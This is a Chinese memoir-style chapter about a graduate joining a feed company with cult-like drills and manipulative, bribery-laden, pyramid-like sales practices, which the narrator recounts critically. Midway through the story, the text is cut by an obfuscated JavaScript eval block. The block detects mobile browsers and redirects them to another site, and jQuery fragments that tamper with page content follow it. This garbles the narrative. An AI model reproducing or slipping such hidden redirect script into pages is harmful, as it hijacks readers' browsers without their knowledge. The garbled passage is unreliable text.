毕业在兵荒马乱的一地鸡毛中如期而至，青春在离别伤感的分道扬镳里戛然而止。
下一个夏天，云南现代农业大学3栋420男生宿舍的门后上铺，依然会住着一个青涩少年，只是那少年不再是我；3栋4楼的阳台上，也许仍然会坐着个弹吉他的孤单男孩，只是那个男孩也不再是我。我曾度日如年的昨天，是另一个男孩渴望的明天；我行色匆匆告别的今天，是未来回不去的昨天。告别与开始、终点与起点之间总在交替变换，就像太阳东升西落、花开花落一样，是自然而然、持续不断的规律轮回。
一千多个茫然的白昼，一千多个寂寞的夜晚。在学校“同心亭”漫步过的晨昏，在图书馆门口悄悄走过的冬夏，最终浓缩成一个永远无法转身的苍茫孤独背影。带着四年时光沉淀的点点滴滴，怀着对同学的深情眷恋与对未来的无限憧憬，我离开了云南现代农业大学的校园。
告别晚宴在校门口的“红光饭店”举行。往日有人请客去“红光饭店”摆一桌，里面总是充满欢声笑语，洋溢着无限欢乐；但那一天晚上，在相互道别的觥筹交错间，强装欢笑的脸上闪动着泪光，祝福声中带着唏嘘与感伤。湿热的手掌一遍又一遍重重拍打着对方的肩膀，我们像一群再见就再难相见的蹒跚老者，轻声诉说着曾经四年的过往。
那一夜，我们很多人都喝醉了，也都哭了。我们相互拥抱着回忆起许多开心的往事，释怀了不少往日的恩怨情仇，祝福着彼此明天的前程似锦，寄望着未来的再次相聚。四年时光就这样过去了，无论我是否喜欢云南现代农业大学的校园生活，我依然很怀念它，直到永远。
当我们拿到大学毕业证的那一刻，很多人误以为那是辉煌人生的起点，其实那一刻却是不少人辉煌的顶点。当我们走进社会这所真正的大学时，才发现自己的薪水还不及一个搬砖工多，自己的技能也不如一个建筑工人实用。甚至很多人努力奋斗了几十年后，在父母需要他们的时候，除了泪流满面一无所有；在儿女需要他们的时候，除了一声叹息沉默不语。到了人生的迟暮之年，仍会把这一切归结为“这都是命中注定”，或是“读书太少，要是当年我接着读研读博士……”诸如此类仍在迷途中徘徊的话。
我们班有20％左右的同学选择了继续读研究生，剩下的大部分人都选择考公务员，或者考上岗证进事业单位。有少部分人就算已在民营企业找到了合适的工作，也选择“身在曹营心在汉”，暗地里备考来年的公务员或上岗证。当时，经常出现数百人甚至数千人竞相报考一个公务员岗位、千百人争过一根独木桥的盛况。还有极少部分人刚毕业就不想做出任何努力，直接选择“躺平”。他们可以“躺平”，但我连“躺平”的资格都没有——我不工作就没有任何经济来源，也没有什么人可以依靠。
我一度也曾隐隐有考公务员或上岗证的想法，但仅仅只是转念一想，随即完全打消了这种念头。因为大部分人选择考公务员或上岗证的理由几乎清一色：公务员或事业单位的工作相对轻松，是稳定的“铁饭碗”，待遇高、福利好。但世界万事万物都是动态平衡的，如果有人“活少钱多”，那一定有人因他们而“活多钱少”；如果有人“岁月静好”，那一定有人为他们“负重前行”。我不想让那些类似我家乡父老乡亲一样的人群替我“负重前行”，也不想让自己的人生完全可以预见、一眼望到尽头，让一切工作和生活都枯燥无味地按部就班、循规蹈矩。
或许世界上最轻薄的荣誉，是一面高喊着为你提供无私的贡献和服务，一面却需要靠你养活；最刺耳的歌颂，是一面赞美着牛的淳朴和勤劳，一面吃着牛肉说真香。
绝大部分同学毕业多年后的认知水平、思想眼界、胸怀格局，也永远停滞在了大学时期，从不曾向阳生长、枝繁叶茂。其实他们在大学毕业的那一年就已经“死”了，只是身体到五六十年后才化为尘土。毕业多年以后的同学聚会，往往更多是对过去的怀恋、对当下的攀比，却几乎从未真正展望过未来。倘若有同学偶然出类拔萃，大多数人会不自觉地启动自我保护机制，为对方的成功寻找各种理由——说是靠运气、靠关系、靠投机，或是靠“老丈人”，总之绝非凭自身实力。而面对自己的一事无成、落魄潦倒，归根结底全怪自己太老实、太善良、太诚实，只会脚踏实地埋头苦干，最后还会想方设法把自己美化得近乎完美。或许人到中年的痛苦，本质上都源于对自身无能的愤怒。
第二天早上，宋人神集团曲靖神牛饲料公司派专车来接我们正式入职。和我一同加入集团的还有另外6名同学，其中我们班有两位：刘芳芳和李高明。
李高明身高185厘米，帅气阳光；刘芳芳身高166厘米，是我们班的班花，至少有三位男生曾追求过她。两人都是学生会成员，品学兼优。
我身高164厘米，属于矮矬类型，能被宋人神集团录用，实在出乎意料、受宠若惊。至今我仍对当初面试我的先生心存感激，也感谢集团让我养成了读书的习惯——当年的宋人神集团，确实是一个真正的学习型组织。
宋人神集团曲靖神牛饲料公司租用了原曲靖市粮食局停产已久的老旧饲料厂。厂区尘土飞扬、路面坑洼不平，土木与砖瓦结构的厂房残破不堪，渗漏问题十分严重；锈迹斑斑的饲料生产制粒设备常年处于维修状态；年久失修的筒仓上长满了杂草；锅炉房旁像个露天煤场，煤灰浸染的黑水一直延伸到厂门外，几百米外的马路上都泛着一片黑色。
唯有一栋翻新的两层办公小楼，成了厂区里的一道“□□”，也是客户参观时唯一能去的地方。但凡与曲靖神牛饲料公司相关的宣传资料，封面上印的都是这栋小楼的照片。它不仅苦苦支撑着公司的门面，更像是一块仅有的“遮羞布”。
厂区的公共厕所大概建于70年代，坐落在东南角的菜地旁，距离那栋两层办公小楼两百多米。里面密密麻麻的绿头苍蝇整天“嗡嗡”乱飞，哪怕进去小便，脸上也会被苍蝇撞好几下，常常能感觉到凉飕飕的湿意，还隐隐飘着淡淡的骚臭味。每天早上“朝训”前的十几分钟，一排白花花的屁股整齐地排在没有隔板或遮挡物的长方形坑道上。此起彼伏的“嗷嗷”声里，坑道下方升起阵阵白气，一根根“油条”似的大便“啪啪”坠入粪池，砸得粪水四处飞溅。赶着去“朝训”的员工们骂咧着起身，用大把卫生纸擦拭溅到屁股上的粪水，郁闷地开启了一天的忙碌。
加入宋人神集团的第一件事是入职培训。我们云南现代农业大学的7名新员工，加上其他院校招聘的3人，共10人。先在曲靖神牛分公司培训一周，接着每人会安排一位资深饲料销售员当师傅，带着在市场上实习一个月，之后再去湖南洪州的宋人神大学培训一周，最后才被派往各自负责的区域市场。
第一天的培训师是曲靖神牛饲料公司的第二任总经理，他重点讲述了宋二海董事长的传奇故事：“宋二海曾先后任职于洪州市粮食局和洪州市国营饲料厂，1988年开始自主创业，短短十几年间就发展出五大产业并驾齐驱，成为国家级农业产业化重点龙头企业。他个人收获的荣誉多如牛毛，包括全国五一劳动奖章、□□政府特殊津贴专家、中国人民大学客座教授等。虽然高中未毕业，但他仅用三个月自学英语，就能与外国人正常交流，还曾独自到英语母语国家‘千里走单骑’。此外，他能写诗作词，琴棋书画、歌曲舞蹈也样样精通，精力更是十分旺盛——一天能工作15个小时以上，吃饭休息加起来仅需9小时。”
宋二海董事长不仅是无所不能的“神奇超人”，更是宋人神集团唯一的伟大领袖、活着的传奇。那时的我，对他非常我心中满是敬仰，甚至近乎膜拜，极度渴望能早日目睹“神”的姿态，亲眼瞻仰“英雄”的风采。
无论是每天早上八点的“朝训”，还是公司大大小小的会议，每当提及宋二海的名字，所有员工都会把腰杆挺得像标枪般笔直，肃然静默片刻，既不能随意乱动，更不能交头接耳，以此表达对他的崇高敬意。他伟岸的半身肖像，也悬挂在曲靖神牛公司每一个最显眼的位置。
宋人神集团明文规定：只要同时上班的员工人数超过3人，或组织员工开会，每天早上八点均需准时进行“朝训”。朝训时，所有参与者需像部队士兵一样整齐站立，在领训人的带领下，齐声高呼“宋人神的精神——敬业、自责、自信、创新；宋人神的作风——雷厉风行、负责到底；宋人神的使命——致力农家富裕、打造绿色食品”等一系列深刻的理念与响亮的口号。
朝训只是宋人神企业文化的具体表现形式之一。企业文化还专门印制成一本厚厚的小册子，老员工需时刻随身携带，新员工则一律要求背诵并参加考试，成绩达90分以上才算合格。在众多企业文化要求中，有两条对我影响至深，也让我终身受益：一是“四讲四不讲”——讲主观不讲客观，讲自己不讲别人，讲内因不讲外因，讲领导不讲群众。这“四讲四不讲”的内涵与意义，几乎伴随了我此后十几年的人生。二是养成读书的习惯。企业文化强制要求每个员工每月至少阅读一到两本书，这个习惯我一直保持至今，也将继续坚持下去。
虽然离开宋人神集团已有多年，但这两条准则我至今仍在坚守与践行。有时个人无法改变或主宰企业或某个群体的文化，但企业或群体文化却能影响甚至改变一个人，尤其是涉世未深的少年。
第二天，曲靖神牛公司的营销部总经理为我们培训宋人神集团的销售理念与方法。
培训首先从产品定位展开。
宋人神集团的神牛牌饲料标新立异，采取差异化市场定位。当时市场上主流的猪用浓缩饲料，绝大多数蛋白质含量都在40％以上——含量越高，意味着生产成本越高，品质相对越好，价格自然也更贵。而神牛牌饲料却剑走偏锋，故意将所有产品的蛋白质标识含量降低到39％以下，并宣传宋人神集团求真务实，所标识的含量是完全可消化吸收的蛋白质，以此引导客户对宋人神产生“厚道可靠、诚实可信、只讲真话实话”的第一印象。随后，集团在全国统一制定了较高的出厂价与市场零售价，让经销商拥有足够的利润空间与推广积极性，从而在养猪户心中树立起神牛牌饲料“信誉高、档次高、价格高”的“三高”品牌形象。
由于生产设备老旧、工艺落后，曲靖神牛公司只能勉强生产猪饲料，无法生产鸡鸭鱼牛等其他品类的饲料，因此公司所有对外销售的产品均为猪饲料。
接下来培训的是可量化、流程化、制度化的销售策略。
第一步，通过规范化管理饲料销售员的出差行程、通信记录、客户拜访登记表、意向客户登记表、市场分析表等一系列手段，促使销售员们像“疯狗”一样行动起来，整天奔波拜访陌生客户。在海量拜访收集到的信息中筛选出合适的目标客户，再针对目标客户制定下一步具体拜访策略，深度建立信任与交情，将其转化为意向客户。总体原则是“广撒网，多敛鱼，择优而从之”。
第二步，挖掘意向客户的“痒点”与“痛点”，并在具备合作基础的前提下，为其提供解决这些问题的实施方案。若客户暂无明显的痒点或痛点，便寻找或制造其与原合作饲料公司的“矛盾”，并煽风点火，逐步放大双方合作中的“矛盾”与摩擦。期间还会不断邀请意向客户，以“参观学习交流”为幌子，安排他们到公司吃喝玩乐、洗脚按摩、旅游购物等，让客户产生“吃人嘴软，拿人手短”的亏欠感，以及“一条船上”的手足情谊、“一家人”的亲切感。
第三步，持续发现意向客户的需求，即便客户暂无需求，也要想办法创造需求，并不断满足他们的各种需求。同时不断做出承诺有安全、稳定且可持续的利润回报，以及长远可靠的市场区域保护，以此描绘美好的发展前景。有时还会向参与经销商或猪场老板决策的相关人员许诺，若能促成合作，他们可获得一定的额外好处费或推荐介绍费。
第四步，不惜一切代价、穷尽所有办法发起最后的总攻。若仍未成功，便请公司总经理或营销部总经理出面，给出意向客户难以拒绝的优惠条件，一锤定音。关键在于必须拥有让意向客户尽快付款进货的必胜信念，而非可有可无。
第五步，养猪户付款进货后，便进驻猪场提供服务；经销商付款进货后，则在其附近村庄寻找有一定影响力的养猪户，优先选择村长。专门挑选60至70公斤、处于快速生长期的健康猪群开展养猪增重试验。先向试验户赠送40公斤神牛牌浓缩饲料，称重后按要求饲喂。10天后再次称重，若猪群平均日增重超过1.2公斤，再赠送20公斤；超1.3公斤则加送40公斤；超1.4公斤再加送80公斤……增重越多，赠送的神牛牌浓缩饲料数量就越多。所有参与过增重试验的养猪户，最终都要发展成为现身说法、为宋人神集团站台宣传的养猪示范户。在此基础上，还可进一步组织多家养猪户开展养猪增重比赛，第一名赠送摩托车，第二名赠送电饭煲等。最后将举办过比赛的村庄设立为神牛牌饲料养猪示范村。
第六步，在养猪示范户所在的村庄召开养猪技术培训会。首先让示范户站在高台上大声分享：自从使用神牛牌饲料后，猪如何快速健□□长、自己如何赚大钱并迅速发家致富，以及宋人神集团销售员如何手把手提供技术服务。接着由销售员宣讲：宋人神集团如何强大、如何立志造福全人类，各届领导人如何亲切接见过宋二海董事长，宋二海如何心系百姓、为人民谋福利。最后再宣讲“想致富就用神牛牌饲料养肥猪的十大理由”。
第七步，在村庄各入口显眼位置的墙壁上，悬挂红底白字的宣传标语，如“饲料一枝花，神牛富万家”“中国十大名牌，神牛牌饲料”“神牛牌饲料，贪吃猛长，皮红毛亮”等。
第八步，为牢牢黏住客户，专门设置种类繁多的奖金，包括专销奖、忠诚奖、增量奖、钻石客户奖等。今年的奖金需到明年年底兑现，明年的奖金则到后年底兑现。若客户中途擅自更换其他饲料公司的产品，宋人神集团有权单方面取消所有奖金。
第九步，让现有客户发展下线客户，通过“一带二、二带四、四带八”的裂变式模式拓展客户，现有客户的提成奖金也随之呈几何倍数增长。只要下线客户持续合作，现有客户就能长期获得差额奖、终身成就奖、品牌建设奖等，该模式几乎原样复制了某些传销公司的激励机制。
第十步，定期召集经销商客户举办营销培训会、庆功会等活动。在Two Steps From Hell的《Victory》那震耳欲聋、高亢激昂的交响乐中，销量突出的优秀客户轮流登场，绘声绘色地分享销售方法——如何精准拿捏养猪户的心理，如何充分激发人性中的贪婪。业绩优秀的销售员也会适时登台发表豪言壮语，而业绩较差的销售员则需当众自我批评，甚至当众自扇耳光。最后在气势恢宏的贝多芬第九交响曲中，颁发各类名头巧妙、金光闪闪的荣誉奖牌。当会场气氛达到高潮、众人激情高涨时，营销副总与销售经理们便趁热打铁，让经销商客户签订来年的销量目标任务。
接下来是产品促销。
宋人神集团认为：中国农民始终是最爱占小便宜、最爱看热闹且从众心理极强的群体，他们偏好“大而多”的促销品。促销活动通常是购买40公斤神牛牌浓缩饲料，购买40kg神牛牌浓缩饲料，赠送塑料大盆一个；购买80kg，赠送大塑料盆与大塑料水桶各一个；购买120kg，则可在大电饭煲或大高压锅之间任选其一。每完成一笔交易，都要在饲料店铺门口用大喇叭高声宣传，随后在彩旗飘扬的大门口燃放一长串鞭炮。
有时购买神牛牌饲料不直接赠送促销品，而是每买40kg获得一次抽奖机会。奖品包括洗衣机、彩电、摩托车、塑料大盆、电饭煲等，一旦有人中奖，店铺门口便瞬间锣鼓喧天、鞭炮齐鸣、彩屑纷飞，场面火爆，气氛热烈。当养猪户累计购买量达百吨，可获赠张家界2日游、海南3日游等旅游项目；用量超千吨的大型养猪户，还能参加宋人神集团与广东欲利多公司联合推出的高端旅游线路——欧洲5国10日游，期间可与高鼻卷发白皮肤的美女互动。
一系列花样繁多、令人眼花缭乱的促销手段，在各地乡镇集市间密集开展，把村庄搅得尘土飞扬、鸡鸣狗吠。“红唇白腿、天使面容、魔鬼身材的美女陪同旅游”的诱惑，让众多养猪户争先恐后、趋之若鹜，纷纷选择神牛牌饲料。
一周培训结束后，我被派往云南路林县市场实习，带我的老销售员师傅叫刘大志。他1991年至1993年就读于昆明冶金高等专科学校，毕业后分配至云南曲靖复合化肥厂工作。1999年曲靖复合肥厂国企改制，他被迫下岗自主择业。一年后，他与大学同学李玉方一同加入宋人神集团曲靖神牛饲料公司，成为首批饲料销售员。李玉方早在2001年就晋升为大片区销售经理，而他仍在普通销售员岗位上徘徊。他常听电影《无间道》的主题曲，没事就反复哼唱：“谁了解生存往往比命运还残酷，只是没有人愿意认输。我们都在不断赶路，忘记了出路，在失望中追求偶尔的满足。我们都在梦中解脱清醒的苦，流浪在灯火阑珊处。去不到终点，回到原点……”
他的片区经理叫许友明，四川人，负责宜良、路林、鲁亮、师宗、罗平、兴义等10个县区，手下有6名销售员和2名实习生。许友明是宋人神集团“朝训”文化的坚决执行者和拥护者，无论到哪个县区市场，早上都会在宾馆或住所门口当众组织朝训。他来路林县时，每天早上都要对我们进行几十分钟的朝训，我和刘大志师傅在宾馆门口，被他反复指挥“稍息、立正、向右看齐、上前一步走”。他宣讲“宋人神的精神……宋人神的作风……宋人神的使命”时，常引来数十位路人驻足围观、指指点点。我和刘大志师傅像两只被驯服的猴子，配合完成预定的“表演”。围观的路人越多，“驯猴人”许友明的“鞭子”抽得越响，朝训也越卖力。
或许在特定文化与环境的影响下，权力容易异化为一剂猛烈的春药，一根难以控制的鞭子。许多曾被权力的鞭子驯化、失去过什么或受过伤害的人，在获得权力后，第一件事便是用权力的鞭子立威，想方设法刁难他人以获取报复性快感。因为他们无法通过智慧、理性、宽容与仁慈赢得他人的心悦诚服和尊重，只能通过操弄权力的鞭子，让他人担心、害怕、臣服甚至恐惧，以此达成目的，弥补曾失去的东西，慰藉曾受伤害的脆弱心灵。这类人外表看似强大，骨子里却充满变态扭曲的自卑与脆弱，极度在意他人的看法与态度：他人是否唯命是从、唯马首是瞻，自己是否成为他人眼中的“人上人”、是否出人头地。
曲靖神牛饲料公司在路林县仅有一位总经销商，名叫吴玉兰。她的丈夫在水利局工作，育有一双儿女，女儿叫梁碧云，与我同龄，儿子叫梁雄云。吴玉兰的饲料店位于路林县板桥镇集市，距离路林县城12公里。里。自营零售的饲料销量约20吨/月，另有三个二级分经销商，每月销量在1至5吨不等，总销量约30吨/月，均为猪用浓缩料及乳猪全价饲料。
当我乘坐客车抵达路林县城时，已是晚上8点左右。刘大志师傅正准备前往吴玉兰家，商谈如何共同完成本月的销量任务。于是，我放下行李便跟着他来到了吴玉兰家中。吴玉兰虽未上过一天学，是个文盲，但精明能干、思维敏捷，是位勤奋努力的传统城镇个体户，沟通起来相对顺畅。梁碧云活泼开朗、口齿伶俐，梳妆打扮十分潮流，着装搭配非常前卫，曾在路林县的一个旅游风景区做过导游。
第二天上午，我与刘大志师傅乘坐面包车来到吴玉兰的神牛牌饲料经销店铺。当天恰逢路林县板桥镇赶集，集市上车水马龙，人声鼎沸，一派乡村特有的喧嚣繁华景象。
在那条通往路林县城、被重型车辆碾压得坑洼不平的砂石路两侧，分布着高矮错落的砖混结构或土木结构农舍。农舍一楼开着各种店铺：化肥店、剃头店、农具店、米线凉粉店、超市、服装店等等。赶集的农夫背着大袋、提着小包，弯腰低头，在各个店铺间穿梭买卖。从店铺到马路中央的两条狭长缝隙地带，摆满了连成一片的摊位，小贩们紧挨着彼此：一堆堆散发着泥土芳香的红薯与马铃薯；一串串鲜红翠绿的辣椒与扁豆；一件件锃亮泛光的炊具与农具；一排排竹竿撑起的衣服与家纺；一篮篮沾满晶莹露珠的水果与蔬菜。瓷器摊贩正用力擦拭布满灰尘的器具，使其光亮如新；卖老鼠药的小贩扯开嗓子高喊：“老鼠药！老鼠药！走过路过，不要错过！”；卖鸡蛋的村姑不停摆弄着箩筐里沾着鸡粪的鸡蛋；屠夫们叼着香烟，赤着黝黑的胳膊，正“嚓嚓嚓”地打磨手中的尖刀；集市管理员晃动着闪亮的大金牙，额头冒汗，龇牙咧嘴地对马路中央占道的商贩大声嚷嚷。
男人们背着破旧的塑料编织袋，嘴角挂着熄灭的烟蒂，伸长脖子四处张望，似乎在寻找或回忆想买却忘了的东西。女人们背着沾有红色泥土的竹箩筐，眉头紧锁，若有所思，仿佛在盘算手里的钱是否够买想要的东西。孩子们嘴里嚼着刚买的花生牛轧糖，喜滋滋地活蹦乱跳，盼着母亲背上的竹箩筐赶快装满——仿佛竹箩筐里装满了，就全是喜悦，全是幸福，装满了明天就会有无穷的希望与惊喜。
吴玉兰的神牛牌饲料经销店铺位于板桥镇集市的西南角，隔壁是一家兽药店和一家粮食加工店。店铺后半部分整齐堆放着曲靖神牛公司的神牛王、金神牛、神牛900、神牛922等不同档次和规格的猪饲料。前半部分右侧堆放着大塑料盆、大搪瓷盆、大塑料水桶、长雨伞等促销品，左侧放着一张用于记录销售明细和赊款签字的桌子。空地四周摆放着许多木质小板凳，方便光顾店铺的农户歇脚休息或存放东西。
当农户购买断奶仔猪，或自家母猪繁殖了仔猪时，他们通常会到饲料店铺赊购饲料。家里有玉米的会买浓缩饲料，再按比例与玉米面配成全价饲料饲喂；没有玉米面的则直接购买全价饲料。饲料款一般赊欠4至6个月，大部分农户要等仔猪养成肥猪出售后，才会来结清赊欠的饲料款。以路林县的饲料经销商为例：从饲料公司购进一吨浓缩饲料，价格约3300元/吨，零售价约4500元/吨，但需垫付资金约1.6万元/吨，即平均每吨饲料要赊欠4个月。相对贫穷落后的地区，零售价会更高，所需垫款也相对更多。
在路林县实习的一个月里，每逢板桥镇赶集，我都会在吴玉兰的饲料店铺现场向养猪户推销神牛牌饲料，同时帮她登记赊欠饲料的养猪户姓名与地址。平常日子则跟随吴玉兰前往板桥镇下属的各个村社跑业务。市场，挨家挨户地上门推销饲料，顺便催收赊欠的饲料款。那时农村养狗的人特别多，走村串户时，整天都得握着一根长长的棍子。偶尔梁碧云也会跟着我们一起跑市场。她不仅口齿伶俐、能言善辩，还深谙人情世故，很会待人接物，更有着做生意的精明头脑。
一天早上，我像往常一样来到吴玉兰家楼下，正准备和她一起去跑市场，碰巧遇到她丈夫在水利局的同事骑着摩托车停在楼下。梁碧云半开玩笑地对我说，让我载她去跑市场。我说我只会骑自行车，从来没碰过摩托车。她却说不用怕，让我现学现骑。于是，我在她家楼下的空地上摸索了一会儿，试着用最低速度的一挡，摇摇晃晃地来回骑了几百米。刚气喘吁吁地回到原停车点，梁碧云就蹦跳着忽然坐到后座上，指着路林县板桥镇的方向，兴奋地说：“我们去板桥镇的海子村跑市场吧！”
我有些惊讶又慌张，立刻推脱道：“我还不太会骑摩托车，也没有驾照。不敢骑，怕摔倒！”
她却满不在乎地拍了拍我的肩膀，说：“我一个女孩子都不怕，你是男子汉，怕什么。”
话都说到这份上，我只得硬着头皮，手心攥着汗，鼓起勇气挂在一挡上，沿着车水马龙的狭窄乡镇道路慢慢前行。我心里充满担忧与惧怕，但梁碧云却毫不在意，一个劲地催促我加油换挡、加速前进。那天，她让我载着她跑了一整天市场。我提心吊胆，她却悠然自得。
晚上我打电话给师傅刘大志汇报当天的实习情况。他听完后，对我的工作进行了详细指导，通话结尾时却笑着半是担忧半是玩笑地说：“梁碧云在宋人神曲靖神牛饲料公司的男朋友，已经为你准备好一副拳击手套了，建议你赶紧抓紧时间练习100米短跑。”
在一个月实习期临近结束的最后一周，吴玉兰突然身体不适，只剩我和梁碧云一起跑市场。我不知道她每天怎么总能找来不同品牌的摩托车，让我载着她去路林县板桥镇下属的各个村社跑市场。她不仅活泼开朗，还能歌善舞，时而在乡间小路上哼唱梁静茹的《勇气》《可惜不是你》，时而在夕阳下迎风翩翩起舞。
那时我还年轻，记忆力也很好。我帮吴玉兰登记过赊欠饲料、参与过收款的养猪户总共有500多户，但只要吴玉兰说出养猪户的名字，我不用翻账本，基本都能准确说出对方所在的村庄、养殖品种、数量、欠款金额与赊欠日期，甚至连赊欠人的外貌特征都能大致描述出来。哪怕是现在回忆起他们，许多人的音容笑貌都还能依稀浮现在眼前。
为期一个月的实习很快就结束了。临走时，梁碧云特地送了我一件T恤留作纪念，还对我表示了衷心感谢。吴玉兰则再三叮嘱我，等从湖南洪州宋人神大学培训回来后，可以向公司申请分派到她们路林县来跑饲料销售。
我回到曲靖神牛饲料公司，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334297|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和我们新加入公司的一行10人收拾好行李，踏上了开往湖南洪州市的绿皮火车，继续去宋人神大学培训学习。
宋人神大学位于湖南洪州市远郊的牛家河村，像是由一个废旧养殖场改建而成。宿舍是红砖土木的石棉瓦房，培训教室狭长低矮，食堂用的是传统生火烧柴的炉灶。正对大门口的位置有一间外墙装修别致的展览室，精致的轮廓与周围的环境格格不入。
缓步走进展览室，一面大理石砌成的高大屏风映入眼帘。屏风上挂满了宋二海颔首低腰、带着婴儿般微笑与各级领导人亲切握手的照片；屏风左边是红木拼接的木墙，上面同样挂满了宋二海各个年龄段的照片，照片下方记载着他在对应年龄段说过的各种“名言警句”，以及对工作生活的感悟和总结；穿过屏风右边白色罗马柱撑起的拱形镀金门，才算正式进入展览室大厅。高约6米、面积约500平方米的大厅四周，炫目的射灯顺时针依次照亮一幅幅以白枫木为底板的展示牌，牌上由大尺寸照片、彩绘、浮雕及文字说明组成图案与文字内容。开始的十几幅图文上记展厅中，自1988年起宋人神集团历年的重大事件、发展成就与光辉历程被一一记录；随后的十组图文，清晰展示了集团五大产业的当前现状及未来五年的宏伟发展目标；一旁的巨型立体中国地图上，32家分公司的全国布局以小红旗精准标示；地图侧旁的硕大地球仪上，红色五角星醒目标注着集团的全球发展规划；再往后，铝合金墙面上镶嵌着密密麻麻的镀金文字，涵盖企业文化、《宋人神之歌》《宋人神营销员之歌》及宋二海创作的诗词歌赋；展厅正中央，两头一大一小、由彩色花岗岩圆雕而成的高大神牛巍然矗立，四周环绕着青色石灰岩圆雕的猪、鸡、鸭、鱼模型。
抵达宋人神大学的次日清晨，天刚蒙蒙亮，来自全国各地的新入职员工身着统一迷彩服，整齐列队于校园庭院。宋二海迈着沉稳方步，如检阅凯旋之师的将军般昂首阔步走到队伍前方，以泛着青光的双目扫视众人后，向训导员点头示意：“可以开始朝训了。”
高大魁梧的训导员向宋二海立正敬了标准军礼，中气十足地高喊：“稍息，立正，向右看齐！”
随即，训导员扯开嗓门问道：“宋人神的精神？”
我们齐声高呼：“敬业、自责、自信、创新！”
“宋人神的作风？”
我们再次齐声回应：“雷厉风行、负责到底！”
“宋人神的使命？”
我们第三次齐声呐喊：“致力农家富裕，打造绿色食品！”
朝训结束后，训导员激情澎湃地宣布：“下面，让我们以最热烈的掌声，隆重邀请宋二海董事长为大家发表重要讲话并作出精神指示！”
潮水般的掌声中，他再次向宋二海立正敬礼，随后跑步归队至队伍第一排最右侧，毕恭毕敬地静候讲话开始。
宋二海再次以泛青的目光环视全场，干咳几声清了清嗓子，上前两步将双手背于身后，正式开口：“首先，我代表宋人神集团全体老员工，对各位的到来表示热烈欢迎！”
训导员带头再次响起热烈掌声。
待掌声平息，宋二海又清了清嗓子，语速缓慢却字字铿锵：“作为国家级农业产业化重点龙头企业与中国驰名商标企业，宋人神的使命是‘致力农家富裕，打造绿色食品’。我们以饲料经营为基础，聚焦畜牧业，形成饲料、种苗、动保、屠宰、食品深加工五大产业齐头并进、环环相扣的完整产业链。我们秉持‘雷厉风行、负责到底’的作风，以创新服务营销体系助力广大养殖户致富。未来，我们将在全国捐赠新建100所神牛希望小学、100个神牛牌饲料养猪示范县、3000个示范村及5万个示范户。
我们的经营理念是‘义利相融，养义生利’。集团是真正的学习型组织，会先培养大家，甚至‘白养’一段时间，但我们‘赛马不相马’，3到6个月后，你们都要成为能‘生蛋’的‘母鸡’。你们要做荒野觅食的狼，而非富人家享福的狗；要践行‘敬业、自责、自信、创新’，做好服务营销每一环，严格执行销售流程，创造价值、造福人类。同时，你们要‘吃水不忘挖井人’，感恩公司、永远忠诚。
我们生产的每一袋神牛牌饲料，均严格遵循美国奥特八公司的5S质量管理标准。我们始终坚信：忽视质量就是犯罪，就是自杀。作为负责任的大企业，我们心存敬畏，心系百姓食品安全与全民健康。
记得当年，省里一位老领导曾亲切拉着我的手嘱托：‘你们宋人神集团要努力为国家多做贡献，继往开来、艰苦奋斗，全心全意为人民服务，鞠躬尽瘁、死而后已。’
还有一年在中国饲料工业协会年会上，协会相关领导也亲切地接见了我，他热情地拍着我的肩膀说：“你们宋人神集团是利国利民、有责任有担当的大企业。你们要再接再厉，勇于拼搏，争取早日成为世界一流的农牧企业。”他还当场表示，要让全国其他饲料企业的同行，向我们学习先进的经营理念、精神作风，以及无私奉献的社会责任感。
早在五年前，我就获得了全国五一劳动奖章，成为□□政府特殊津贴专家；三年前，我又受聘为中国人民大学客座教授、美国奥特八公司特聘专家顾问；两年前，我们企业被授予国家级农业产业化重点龙头企业称号，还拿下了中国驰名商标……我们每年都能取得长足进步，收获举世瞩目的成就。
从东方泛白到太阳爬上附近农舍的屋顶，宋二海持续讲话两个多小时。期间他没挪动过一步，也没喝一口水，只是不停地用舌头舔润越来越干燥的嘴唇。这种不怕苦累、坚持到声音嘶哑的精神，至今让我记忆犹新，由衷钦佩。直到衣兜里的电话铃声反复响起，他才意犹未尽地示意训导员接替自己。训导员迈着坚实响亮的正步上前，向他立正敬礼，转身带领我们再次鼓起经久不息的潮水般掌声。宋二海又用泛着青光的圆目逐一扫视我们，微笑点头，背着手踱着沉稳方步走进展览室。训导员高喊几声“稍息、立正、向右看齐”后，示意我们先休息十五分钟，再到培训教室继续学习后续内容。
早已站得腿脚发麻的人群发出一阵解脱的欢呼，纷纷快步走向西北角的公共厕所。我站在四散的人群中，看着拥挤的如厕人流，犹豫片刻后忽然想起，展览室里好像也有厕所。于是我踩着小碎步快速走进展览室，来到记忆中厕所的位置。隔着薄薄的木门，我听到里面传出宋二海董事长用力排便的“嗷嗷”“嗯嗯”声。踮起脚尖透过门板与上檐的缝隙，依稀能看见他不停晃动的脑袋。我赶紧退到十几米外的神牛雕像旁，假装认真观赏。不一会儿，宋二海董事长喘着粗气、沉声咳嗽着缓缓推开木门，我用余光瞥见他迈着沉稳步伐走出展览室，便迫不及待地走进那扇门。狭小的空间里臭气扑鼻，马桶上留着两个歪歪斜斜的鞋印。我摸了摸身上不多的几张纸，顿了顿，只能踩着他留下的鞋印爬上马桶，用脚掌撑住身体扎起马步，像鸭子一样半蹲在上面。不经意抬头时，从木门上沿的缝隙正好能看到外面展览室的大厅。
